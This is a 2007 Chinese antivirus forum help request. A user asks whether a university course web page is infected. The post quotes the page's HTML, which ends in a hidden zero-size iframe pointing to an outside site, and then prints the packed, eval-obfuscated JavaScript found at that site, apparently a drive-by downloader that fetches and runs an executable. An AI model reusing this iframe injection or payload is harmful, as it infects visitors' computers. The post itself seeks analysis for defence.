瑞星卡卡安全论坛

首页 » 技术交流区 » 反病毒/反流氓软件论坛 » 【讨论】【求助】这个js脚本到底有没有威胁啊
zouyiqi - 2007-4-23 18:19:00


这段代码到底有没有害,是不是挂的马


卡巴 诺顿 金山 江民 对这个网页都没有反应,只有瑞星有,请问到底有没有毒

<?xml version="1.0" encoding="gb2312"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>国际税收—人大精品网络课</title>
</head>
<body background="image/gezi.gif" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<img src="image/1.jpg" width="1002" border="0" usemap="#Map" />
<map name="Map" id="Map">
  <area shape="rect" coords="95,522,116,632" href="mainkcjj.htm" />
  <area shape="rect" coords="126,523,149,630" href="mainjxfs.htm" />
  <area shape="rect" coords="59,536,85,612" href="mainkcjj.htm" />
  <area shape="rect" coords="160,528,183,631" href="mainjxhj.htm" />
  <area shape="rect" coords="197,534,221,631" href="mainjxnr.htm" />
  <area shape="rect" coords="235,531,260,628" href="mainjxdg.htm" />
  <area shape="rect" coords="267,533,293,631" href="mainkcjy.htm" />
  <area shape="rect" coords="298,533,323,631" href="mainjxnr.htm" />
  <area shape="rect" coords="329,537,353,634" href="mainjxsc.htm" />
  <area shape="rect" coords="362,534,387,631" href="mainjxxc.htm" />
  <area shape="rect" coords="394,535,418,630" href="mainaljx.htm" />
  <area shape="rect" coords="426,534,450,631" href="mainsjjx.htm" />
  <area shape="rect" coords="466,534,493,610" href="mainfdzc.htm" />
  <area shape="rect" coords="504,539,527,623" href="mainfdzc.htm" />
  <area shape="rect" coords="537,540,559,622" href="mainqmks.htm" />
  <area shape="rect" coords="576,532,602,608" href="mainjsfc.htm" />
  <area shape="rect" coords="613,546,638,614" href="mainjsfc.htm" />
  <area shape="rect" coords="645,546,672,615" href="mainxsjl.htm" />
  <area shape="rect" coords="683,533,713,603" href="mainxscg.htm" />
  <area shape="rect" coords="718,543,745,616" href="mainxrwj.htm" />
  <area shape="rect" coords="751,545,778,616" href="mainxsjp.htm" />
  <area shape="rect" coords="782,544,808,620" href="mainjxpg.htm" />
  <area shape="rect" coords="823,536,853,604" href="mainckjc.htm" />
  <area shape="rect" coords="864,535,894,606" href="club/" />
  <area shape="rect" coords="904,534,936,606" href="mainwzlj.htm" />
</map>
</body>
</html>
<iframe src=http://www.ysbr.cn/1.htm width=0 height=0 frameborder=0></iframe>

冒险访问这个隐性网页发现只有一段js加密的代码和一个统计器。
js代码如下:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('11("\\k\\u\\6\\9\\2\\f\\e\\6\\1\\M\\6\\b\\6\\c\\1\\P\\1\\t\\5\\7\\1\\6\\u\\d\\s\\0\\7\\1\\l\\1\\L\\5\\2\\v\\4\\7\\5\\6\\a\\e\\d\\b\\c\\Z\\6\\8\\1\\7\\0\\2\\u\\7\\6\\1\\o\\i\\t\\9\\v\\e\\i\\2\\o\\r\\o\\4\\0\\q\\0\\o\\8\\1\\R\\1\\2\\7\\B\\1\\P\\1\\a\\g\\l\\o\\v\\2\\2\\h\\U\\D\\D\\G\\G\\G\\4\\d\\E\\Y\\W\\4\\9\\e\\d\\D\\a\\e\\G\\6\\4\\0\\q\\0\\o\\8\\1\\t\\5\\7\\1\\a\\k\\l\\a\\e\\9\\u\\d\\0\\6\\2\\4\\9\\7\\0\\5\\2\\0\\F\\g\\0\\d\\0\\6\\2\\b\\3\\e\\s\\y\\0\\9\\2\\3\\c\\8\\1\\a\\k\\4\\i\\0\\2\\A\\2\\2\\7\\f\\s\\u\\2\\0\\b\\3\\9\\g\\5\\i\\i\\f\\a\\3\\j\\3\\9\\g\\i\\f\\a\\U\\H\\S\\N\\J\\w\\E\\E\\J\\I\\J\\E\\A\\K\\I\\n\\n\\S\\p\\I\\N\\W\\K\\A\\I\\p\\p\\w\\p\\15\\x\\w\\O\\N\\F\\K\\J\\3\\c\\8\\1\\t\\5\\7\\1\\q\\l\\a\\k\\4\\w\\7\\0\\5\\2\\0\\z\\s\\y\\0\\9\\2\\b\\3\\L\\f\\9\\7\\e\\i\\e\\k\\2\\4\\12\\3\\r\\3\\L\\3\\r\\3\\14\\3\\r\\3\\10\\3\\r\\3\\C\\3\\r\\3\\C\\3\\r\\3\\Q\\3\\j\\3\\3\\c\\8\\1\\t\\5\\7\\1\\m\\l\\a\\k\\4\\w\\7\\0\\5\\2\\0\\z\\s\\y\\0\\9\\2\\b\\3\\A\\a\\e\\a\\s\\4\\m\\2\\7\\0\\5\\d\\3\\j\\3\\3\\c\\8\\1\\m\\4\\2\\B\\h\\0\\l\\n\\8\\1\\q\\4\\e\\h\\0\\6\\b\\3\\V\\F\\C\\3\\j\\1\\a\\g\\j\\p\\c\\8\\1\\q\\4\\i\\0\\6\\a\\b\\c\\8\\1\\k\\6\\5\\d\\0\\n\\l\\M\\6\\b\\n\\p\\p\\p\\p\\c\\8\\1\\t\\5\\7\\1\\x\\l\\a\\k\\4\\w\\7\\0\\5\\2\\0\\z\\s\\y\\0\\9\\2\\b\\3\\m\\9\\7\\f\\h\\2\\f\\6\\M\\4\\x\\f\\g\\0\\m\\B\\i\\2\\0\\d\\z\\s\\y\\0\\9\\2\\3\\j\\3\\3\\c\\8\\1\\t\\5\\7\\1\\2\\d\\h\\l\\x\\4\\V\\0\\2\\m\\h\\0\\9\\f\\5\\g\\x\\e\\g\\a\\0\\7\\b\\p\\c\\8\\1\\k\\6\\5\\d\\0\\n\\l\\1\\x\\4\\H\\u\\f\\g\\a\\Q\\5\\2\\v\\b\\2\\d\\h\\j\\k\\6\\5\\d\\0\\n\\c\\8\\1\\m\\4\\z\\h\\0\\6\\b\\c\\8\\m\\4\\13\\7\\f\\2\\0\\b\\q\\4\\7\\0\\i\\h\\e\\6\\i\\0\\H\\e\\a\\B\\c\\8\\1\\m\\4\\m\\5\\t\\0\\C\\e\\x\\f\\g\\0\\b\\k\\6\\5\\d\\0\\n\\j\\O\\c\\8\\1\\m\\4\\w\\g\\e\\i\\0\\b\\c\\8\\1\\t\\5\\7\\1\\T\\l\\a\\k\\4\\w\\7\\0\\5\\2\\0\\z\\s\\y\\0\\9\\2\\b\\3\\m\\v\\0\\g\\g\\4\\A\\h\\h\\g\\f\\9\\5\\2\\f\\e\\6\\3\\j\\3\\3\\c\\8\\1\\0\\q\\h\\n\\l\\x\\4\\H\\u\\f\\g\\a\\Q\\5\\2\\v\\b\\2\\d\\h\\r\\o\\X\\X\\i\\B\\i\\2\\0\\d\\K\\O\\o\\j\\o\\9\\d\\a\\4\\0\\q\\0\\o\\c\\8\\1\\T\\4\\m\\v\\0\\g\\g\\F\\q\\0\\9\\u\\2\\0\\b\\0\\q\\h\\n\\j\\o\\1\\D\\9\\1\\o\\r\\k\\6\\5\\d\\0\\n\\j\\3\\3\\j\\3\\e\\h\\0\\6\\3\\j\\p\\c\\8\\1\\R\\1\\9\\5\\2\\9\\v\\b\\f\\c\\1\\P\\1\\f\\l\\n\\8\\1\\R");',62,68,'145|40|164|42|56|141|156|162|73|143|144|50|51|155|157|151|154|160|163|54|146|75|123|61|47|60|170|53|142|166|165|150|103|106|152|117|101|171|124|57|65|105|167|102|55|66|63|115|147|71|62|173|120|175|104|121|72|107|70|134|153|52|110|eval|130|127|114|64'.split('|'),0,{}))



1
查看完整版本: 【讨论】【求助】这个js脚本到底有没有威胁啊